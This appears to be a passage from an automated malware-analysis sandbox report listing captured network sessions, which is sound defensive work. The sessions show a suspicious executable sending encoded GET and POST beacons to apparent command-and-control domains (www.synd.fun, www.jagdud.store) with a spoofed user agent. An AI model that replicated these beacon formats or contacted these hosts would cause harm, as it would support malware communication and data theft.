6b 47 6b 77 31 75 37 4c 33 4d 55 63 62 33 75 77 55 51 35 76 73 55 69 4d 4a 65 2f 63 49 6d 68 51 56 2b 68 6c 5a 4d 2b 68 7a 66 74 64 4c 6a 56 48 4c 36 68 59 6e 37 6c 34 57 41 4a 2b 4a 46 6c 33 2f 50 42 77 66 2f 6d 45 68 4a 34 45 44 45 61 6a 76 58 6b 36 67 56 2f 6d [TRUNCATED] Data Ascii: aNXP_jw=3gupJJlxq3nieOgMmQu7Skd8iw56vIUKpbc7gzudulyWGtgHimT7tVvV2q629YTmSCctsXrcZOgfSTXT7H7zV9Hh3sGib9qiyeISnZWqYbQrENckaWSAqJClABnYaPzW8Onu4ix/8+sNU72hnj0PlXmwHSuUJNVH1j/7qX0J//d0NXAfFoe7dgGEP2r0/rs0/35Oft5HE+845bP+xB1Mi5Co68T5z9GayE+bJ8sbYkTKAeI1PakGkw1u7L3MUcb3uwUQ5vsUiMJe/cImhQV+hlZM+hzftdLjVHL6hYn7l4WAJ+JFl3/PBwf/mEhJ4EDEajvXk6gV/mfXL2dI14LROz1j0miog6xDj4N3UQjeOEBkW2h0cn3srwGIAITRfzExZrYxbjQVVdEsI2zQJJxg4tnj+xz2/Bfpj8QdOCfzY1yeekt29I1eVj17qPpR8G80eYLXrw9P4/KcN1GhNPcNDyLFdZEgX1RZZhwyVFMYlNWhcDleX2nZMzX1S5lu90u0baX7sSdRAyIua15d0FpJqNMEUkPEe+tHnLd485kUksZzHuMDTTU18WHfdT83Q8xCnnr89/TB0Kny/wPxBgY3fUbmcTRsDp1znAkp7wPWnMl4LZeaLk7pSHQRIexNBUZrBd00FxxtyN7hMZ6VUbRIgTqmR9UTY5gsd7ctLrLkHY7wA/0DkoaqlZVIXO6bhEj/6/FFZk6W247qFVubknJ4p+Ht8D379V9tDjoSQp9+mAEJxNtIjNfKXoe7WNrsD0hc4gzA4dWZJNCyQrAYo13+PiD/bpCahQZAHfNy9vMSqLx5Q1aTih/yNFSgDR++66hqIeL85ekDO9QMijliDUsTboV3jpEO7TDqkollsxuqctfti0v7sk32/9Qy8aNr1lLhYyuXPceKsUi5t4DDq0cl0RECJyTD7oMQO9oNUOP6D+5tENX7v+vsMSJjmMWz2AAhr+u9sBb3agKjQXq1JqdMr9fQrMh1NkyQ4zBoCpDbI0S8 [TRUNCATED]
Dec 2, 2024 14:38:25.323488951 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 02 Dec 2024 13:38:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 5b 6f 1b c7 15 7e f7 af 18 b3 80 48 da dc dd 28 29 02 db 22 a9 26 71 fa 94 4b 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 5d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a0 37 14 7d 2a 20 5f d4 28 be 28 7f 61 f9 8f fa 9d 33 bb cb 21 45 ca b7 a4 28 01 89 cb b9 9c 39 73 2e df 39 67 66 eb a7 3b a1 9b 8c 87 4a f4 92 81 df ac d3 7f e1 fa 32 8e 1b 25 2f 6e c9 8e 1c 26 de 8e 2a 09 5f 06 dd 46 29 1a 95 30 46 c9 4e b3 3e 50 89 14 6e 4f 46 b1 4a 1a a5 f7 2e fd d2 3a 87 3e 6e 0d e4 40 35 4a 43 19 f5 bd a0 5b 12 6e 18 24 2a c0 a0 48 75 a3 91 15 81 e6 ec c8 1d 4f ed 0e c3 28 31 86 ee 7a 9d a4 d7 e8 a8 1d cf 55 16 ff a8 79 81 97 78 d2 b7 62 57 fa aa b1 0a 12 89 97 f8 aa b9 bb bb 6b c7 e3 a0 63 6f 8f 82 ba a3 db ea be 17 f4 45 a4 fc 46 29 4e c6 be 8a 7b 4a 81 fc 40 75 3c d9 28 49 df 2f 89 5e a4 b6 0b 26 99 29 4b 8e 92 d0 76 e3 18 a4 a7 f3 3d b0 9f 8f de 96 e0 27 0c 6c fc 5b 5f 2d 09 92 1b c4 34 90 5d e5 5c b1 78 60 b3 1e bb 91 37 4c 9a ce 99 fa e9 cd 37 2e be 76 e9 [TRUNCATED] Data Ascii: d93Z[o~H()"&qK9-E!r]Jm4bh@7}* _((a3!E(9s.9gf;J2%/n&_F)0FN>PnOFJ.:>n@5JC[n$HuO(1zUyxbWkcoEF)N{J@u<(I/^&)Kv='l[_-4]\x`7L7.v3]/vIeG4xv/k{k3[[3NdD(-&S);xNqZxEajbsmLBFQ}fT0HO2;GGi;sn[CJY)NZn@TdVA$gZ4;V&R`(}E]?Gx>Qz7+A;_Ymn$Ngm3vp`%xZT{Q_iu{f}4sV+pk7!foo/X-0NVsUgdmeVPj>\>E]GvLH8#GIq.gPUK&uUg%d,rBtO3oq^Sn`0U\|iBR74,O$G1f6}t@`YpANd49^&^7hLiLCOz &GO'7Ez?C,aB)YP`+X2c`GW"#<]=[)[lSoph"sk0 [TRUNCATED]
Dec 2, 2024 14:38:25.323520899 CET	1236	IN	Data Raw: b6 ea 54 fd 06 90 fa d6 00 fe eb 05 2d 5f 6d 27 96 f6 65 2c 98 44 61 d0 7d b2 52 80 ba 30 77 97 82 d6 3f 61 bd 88 50 10 ef e3 f4 1e ec 8c 29 cc e0 ea bc d3 6a e1 c4 a3 b6 56 79 c1 49 3b 04 c2 0d 10 13 03 05 ba df 22 d2 dd 9f fc 01 2e f2 78 f2 45 Data Ascii: T-_m'e,Da}R0w?aP)jVyI;".xE(03{5*RXLFtw9~IKp\|Bnd;-He2TzYx<\|"EO+9:70Z`y[(I6<6Ab#D&k@j
Dec 2, 2024 14:38:25.323528051 CET	1189	IN	Data Raw: 7d e9 84 6c 69 dd 4b 9d 79 cd 2b e7 d2 6e ae f0 01 aa b1 1d b5 5d 9c 22 3b 38 6f cf cf 9a 8b 3a 58 1f 3a 1f 3b 3b fe 96 44 4c c2 82 98 20 37 3a f2 7c 44 1a 66 35 a1 66 a7 e8 bc b4 36 3d 89 29 3e ab d3 ec 00 95 7b 01 8e 39 bb e3 16 9d b7 91 09 03 Data Ascii: }liKy+n]";8o:X:;;DL 7:\|Df5f6=)>{9G'r@)"Ct(UWv!>ml2OOyupqEk)^;%-*m]3bvNZ{f~Niu`E)G\h\|0z+,:qFhx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49932	194.58.112.174	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:26.676837921 CET	545	OUT	GET /6sgf/?aNXP_jw=6iGJK9crk1nRcZ4JnjW5XFV8mHNB14071bVcqkX9tU6kQKoAsGb7iBX66eKgx6XFHSItuyLYYeRhUgDlnjjXRZ3rjMrHC/Gv/9ocmuyHMrUIRIkrN1ClkKvdCmOBXovMxeC3un8=&cTT8u=Q4NHoHJ0 HTTP/1.1 Host: www.synd.fun Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:38:28.045411110 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 02 Dec 2024 13:38:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 32 36 35 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 73 79 6e 64 2e 66 75 6e 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 [TRUNCATED] Data Ascii: 2652<!doctype html><html class="is_adaptive" lang="ru"><head><meta charset="UTF-8"><meta name="parking" content="regru-rdap"><meta name="viewport" content="width=device-width,initial-scale=1"><title>www.synd.fun</title><link rel="stylesheet" media="all" href="parking-rdap-auto.css"><link rel="icon" href="favicon.ico?1" type="image/x-icon"><script>/<![CDATA[/window.trackScriptLoad = function(){};/.../</script><script onload="window.trackScriptLoad('/manifest.js')" onerror="window.trackScriptLoad('/manifest.js', 1)" src="/manifest.js" charset="utf-8"></script><script onload="window.trackScriptLoad('/head-scripts.js')" onerror="window.trackScriptLoad('/head-scripts.js', 1)" src="/head-scripts.js" charset="utf-8"></script></head><body class="b-page b-page_type_parking b-parking b-parking_bg_light"><header class="b-parking__header b-parking__header_type_rdap"><div class="b-parking__header-note b-text">  <a class="b-link" href="https://reg.ru" rel= [TRUNCATED]
Dec 2, 2024 14:38:28.045439959 CET	224	IN	Data Raw: 6c 61 73 73 3d 22 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 20 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 5f 73 74 79 6c 65 5f 69 6e 64 65 6e 74 20 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 Data Ascii: lass="b-page__content-wrapper b-page__content-wrapper_style_indent b-page__content-wrapper_type_hosting-static"><div class="b-parking__header-content"><h1 class="b-parking__header-title">www.synd.fun</h1><p class="b-parking_
Dec 2, 2024 14:38:28.045445919 CET	1236	IN	Data Raw: 5f 68 65 61 64 65 72 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 62 2d 74 65 78 74 22 3e d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 b7 d0 b0 d1 80 d0 b5 d0 b3 d0 b8 d1 81 d1 82 d1 80 d0 b8 d1 80 d0 be d0 b2 d0 b0 d0 bd 3c 62 72 3e d0 b8 26 6e 62 73 70 3b d0 Data Ascii: _header-description b-text"> <br>   .</p><div class="b-parking__buttons-wrapper"><a class="b-button b-button_color_reference b-button_size_normal b-parking__
Dec 2, 2024 14:38:28.045483112 CET	1236	IN	Data Raw: 73 70 61 6e 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 2d 6d 61 72 67 69 6e 5f 6c 65 66 74 2d 6c 61 72 67 65 22 3e 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 62 2d 74 69 74 6c 65 20 62 2d 74 69 74 6c 65 5f 73 69 7a 65 5f 6c 61 72 67 65 2d 63 6f Data Ascii: span><div class="l-margin_left-large"><strong class="b-title b-title_size_large-compact"></strong><p class="b-text b-parking__promo-subtitle l-margin_bottom-none">  </p></div></div><ul class="
Dec 2, 2024 14:38:28.045535088 CET	1236	IN	Data Raw: 6f 75 72 63 65 3d 77 77 77 2e 73 79 6e 64 2e 66 75 6e 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 70 61 72 6b 69 6e 67 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 5f 6c 61 6e 64 5f 68 6f 73 74 26 61 6d 70 3b 72 65 67 5f 73 6f 75 72 63 65 3d 70 61 72 6b Data Ascii: ource=www.synd.fun&utm_medium=parking&utm_campaign=s_land_host&reg_source=parking_auto"> </a><p class="b-price b-parking__price"> <b class="b-price__amount">83 <span class="char-rouble-native">₽</
Dec 2, 2024 14:38:28.045542002 CET	1236	IN	Data Raw: 73 3d 22 62 2d 74 65 78 74 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 72 6f 6d 6f 2d 64 65 73 63 72 69 70 74 69 6f 6e 22 3e d0 93 d0 be d1 82 d0 be d0 b2 d1 8b d0 b5 20 d1 88 d0 b0 d0 b1 d0 bb d0 be d0 bd d1 8b 20 d1 81 26 6e 62 73 70 3b d0 be d1 82 Data Ascii: s="b-text b-parking__promo-description">     </p><a class="b-button b-button_color_reference b-button_style_block b-button_size_m
Dec 2, 2024 14:38:28.045548916 CET	1236	IN	Data Raw: b5 d1 80 d1 82 d0 b8 d1 84 d0 b8 d0 ba d0 b0 d1 82 20 d0 b8 26 6e 62 73 70 3b d0 be d0 b1 d0 b5 d0 b7 d0 be d0 bf d0 b0 d1 81 d1 8c d1 82 d0 b5 20 d0 b2 d0 b0 d1 88 20 d0 bf d1 80 d0 be d0 b5 d0 ba d1 82 20 d0 be d1 82 26 6e 62 73 70 3b d0 b7 d0 Data Ascii:    ! ,
Dec 2, 2024 14:38:28.045686007 CET	1236	IN	Data Raw: 3d 20 30 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 6b 73 5b 20 69 20 5d 2e 68 72 65 66 20 3d 20 6c 69 6e 6b 73 5b 20 69 20 5d 2e 68 72 65 66 20 2b 20 27 26 27 3b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = 0 ) { links[ i ].href = links[ i ].href + '&'; } else { links[ i ].href = links[ i ].href + '?'; } links[ i ].href = links[ i ].href
Dec 2, 2024 14:38:28.045696974 CET	1097	IN	Data Raw: 65 2e 6d 61 74 63 68 28 20 2f 5e 70 75 6e 79 2f 20 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 65 78 74 20 3d 20 73 70 61 6e 73 5b 20 69 20 5d 5b 20 74 20 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: e.match( /^puny/ ) ) { var text = spans[ i ][ t ]; text = punycode.ToUnicode( text ); spans[ i ][ t ] = text; } else if ( spans[ i ].className.match( /^no-puny/ ) ) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49948	209.74.64.187	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:33.610939026 CET	807	OUT	POST /ohf8/ HTTP/1.1 Host: www.jagdud.store Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.jagdud.store Referer: http://www.jagdud.store/ohf8/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 6f 6e 52 39 41 76 67 78 72 56 42 48 57 31 43 42 6f 54 68 4a 65 74 39 4c 52 4b 6f 37 48 76 43 4b 37 4c 54 63 2f 38 76 4d 4d 52 71 49 7a 34 68 4c 39 2b 39 61 76 56 49 45 73 67 42 6c 75 6c 2b 6f 39 6e 59 35 4b 6a 4a 66 6b 49 69 6c 77 38 74 39 53 49 6f 2b 42 4b 6f 57 31 30 4d 68 41 6a 4e 6a 5a 47 35 74 43 67 34 71 7a 65 52 6d 73 6c 37 71 45 56 71 71 65 71 7a 51 79 66 36 50 76 6a 57 77 2f 58 4e 5a 6d 30 76 57 6e 56 38 77 2f 55 44 37 73 79 63 49 6d 63 4a 77 42 52 72 62 34 61 62 73 69 78 4f 71 33 73 50 73 34 46 63 39 73 73 77 4c 4f 64 4b 36 73 39 30 70 48 66 42 70 7a 53 66 36 62 44 37 54 53 76 66 65 72 4f 54 51 Data Ascii: aNXP_jw=onR9AvgxrVBHW1CBoThJet9LRKo7HvCK7LTc/8vMMRqIz4hL9+9avVIEsgBlul+o9nY5KjJfkIilw8t9SIo+BKoW10MhAjNjZG5tCg4qzeRmsl7qEVqqeqzQyf6PvjWw/XNZm0vWnV8w/UD7sycImcJwBRrb4absixOq3sPs4Fc9sswLOdK6s90pHfBpzSf6bD7TSvferOTQ
Dec 2, 2024 14:38:34.909288883 CET	533	IN	HTTP/1.1 404 Not Found Date: Mon, 02 Dec 2024 13:38:34 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49956	209.74.64.187	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:36.276108027 CET	831	OUT	POST /ohf8/ HTTP/1.1 Host: www.jagdud.store Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.jagdud.store Referer: http://www.jagdud.store/ohf8/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 6f 6e 52 39 41 76 67 78 72 56 42 48 56 56 79 42 76 77 4a 4a 53 64 39 4b 64 71 6f 37 64 66 44 42 37 4c 66 63 2f 2f 6a 6d 4d 69 4f 49 7a 5a 78 4c 76 71 52 61 2f 46 49 45 34 51 42 73 67 46 2b 76 39 6e 63 48 4b 6d 78 66 6b 49 6d 6c 77 39 64 39 53 62 77 39 44 61 6f 59 30 45 4d 6a 64 7a 4e 6a 5a 47 35 74 43 67 63 51 7a 61 31 6d 72 55 4c 71 45 77 4b 70 64 71 7a 58 6d 50 36 50 72 6a 58 35 2f 58 4e 2f 6d 31 7a 77 6e 54 77 77 2f 56 7a 37 73 67 30 4c 73 63 4a 79 50 78 71 74 2b 71 32 45 6b 51 33 59 2f 4d 2f 62 6b 6d 74 64 74 61 74 52 53 75 4b 5a 2b 74 55 72 48 64 5a 62 7a 79 66 51 5a 44 44 54 41 34 54 35 6b 36 32 7a 65 36 6e 76 32 6d 59 4c 69 7a 4c 7a 69 7a 6e 6f 45 56 2b 61 73 67 3d 3d Data Ascii: aNXP_jw=onR9AvgxrVBHVVyBvwJJSd9Kdqo7dfDB7Lfc//jmMiOIzZxLvqRa/FIE4QBsgF+v9ncHKmxfkImlw9d9Sbw9DaoY0EMjdzNjZG5tCgcQza1mrULqEwKpdqzXmP6PrjX5/XN/m1zwnTww/Vz7sg0LscJyPxqt+q2EkQ3Y/M/bkmtdtatRSuKZ+tUrHdZbzyfQZDDTA4T5k62ze6nv2mYLizLziznoEV+asg==
Dec 2, 2024 14:38:37.534991980 CET	533	IN	HTTP/1.1 404 Not Found Date: Mon, 02 Dec 2024 13:38:37 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49962	209.74.64.187	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:38.949639082 CET	1844	OUT	POST /ohf8/ HTTP/1.1 Host: www.jagdud.store Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.jagdud.store Referer: http://www.jagdud.store/ohf8/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 6f 6e 52 39 41 76 67 78 72 56 42 48 56 56 79 42 76 77 4a 4a 53 64 39 4b 64 71 6f 37 64 66 44 42 37 4c 66 63 2f 2f 6a 6d 4d 69 47 49 7a 70 74 4c 39 62 52 61 38 46 49 45 6b 41 42 70 67 46 2f 7a 39 6e 6b 4c 4b 6d 4d 6f 6b 4e 36 6c 78 66 6c 39 44 36 77 39 4b 61 6f 59 78 30 4d 67 41 6a 4e 32 5a 47 70 70 43 67 73 51 7a 61 31 6d 72 57 54 71 4e 46 71 70 62 71 7a 51 79 66 36 4c 76 6a 58 56 2f 58 55 4b 6d 31 48 47 6e 6a 51 77 2b 31 6a 37 2f 44 63 4c 67 63 4a 30 61 78 71 6c 2b 71 36 62 6b 52 61 70 2f 4f 65 4f 6b 6c 78 64 73 65 67 39 42 4f 2b 45 67 62 41 39 51 66 59 39 79 30 54 4f 51 42 7a 7a 45 2f 7a 35 6b 4c 37 62 59 63 33 62 32 48 5a 51 72 51 54 37 68 6c 62 2b 4e 6b 2f 31 35 34 42 47 79 45 41 68 4c 54 39 34 57 69 6d 44 70 78 6f 32 73 39 74 71 69 7a 61 59 64 52 62 4e 39 44 79 70 4a 44 7a 6c 6d 59 65 69 41 59 73 50 7a 2b 65 2f 56 78 6b 4f 36 63 39 38 6e 51 54 37 63 64 41 56 6e 49 49 50 73 37 77 58 62 42 46 67 45 45 77 64 66 41 6e 63 7a 74 54 4f 49 71 49 73 36 70 70 6e 76 44 52 2b 79 59 [TRUNCATED] Data Ascii: aNXP_jw=onR9AvgxrVBHVVyBvwJJSd9Kdqo7dfDB7Lfc//jmMiGIzptL9bRa8FIEkABpgF/z9nkLKmMokN6lxfl9D6w9KaoYx0MgAjN2ZGppCgsQza1mrWTqNFqpbqzQyf6LvjXV/XUKm1HGnjQw+1j7/DcLgcJ0axql+q6bkRap/OeOklxdseg9BO+EgbA9QfY9y0TOQBzzE/z5kL7bYc3b2HZQrQT7hlb+Nk/154BGyEAhLT94WimDpxo2s9tqizaYdRbN9DypJDzlmYeiAYsPz+e/VxkO6c98nQT7cdAVnIIPs7wXbBFgEEwdfAncztTOIqIs6ppnvDR+yYjtm+Y/DRYlZa0eF4R59J0dPPyanKpeC+wKaHl4G7xBzxVJmYSpIhfjwSnjT7GS11PZP4C2SnJ/8V5mN3yMXsUnH2Jmc0bXQwXo1eOwL8valEwv/1vUchMpRvOgpNPkE61986P5Rb8k+tgHrkZTXriR31PgDFQLaE8tYeADJMn78bDdY91amiwossOf4lG+SNchqszG17tErArDHfLemQn4GSfvu/+9vg6uW6ry//vJ5ANcEq1k/96FHB22OnHZGkzUQXKlQ9fiesOHoHRKXry0UsVVvAaiGvHYLFf9nvbE93rdO2BH3jF9fYLBZBqfI6ReJk25EuxmjYVHXmrkzJy0ZjW9gS5Qns75L+FU4zBleFQsZMMGWrCsOlcg4GIgC0rUboU3kszdTRMSFl/KahgJhVmLLD06ZWm/Jm4qOSqKmuhtSN9a4KSGLIvEJcZLV7IFcUBNSLOq90wYBQY4pSUTSDQhht8H1knEp0e3TXfuQNn3MHX0AtXiIaWNj9/zocQ7i5FuTrMp2b/UhdVFoMD704mgKzgLX8Z78g6lTqPTHRcUH09wDi+xeROxkwmUydGCUoM2i4Oa8hnzJK91/aFioz4V/OZaYCh1EQVy5tuAkEJo2bQPU4Yfv/Vq8t0w7MoPhuTFBx/NHXssLGsEje65HZ5QyPrK2TFy [TRUNCATED]
Dec 2, 2024 14:38:40.199031115 CET	533	IN	HTTP/1.1 404 Not Found Date: Mon, 02 Dec 2024 13:38:39 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 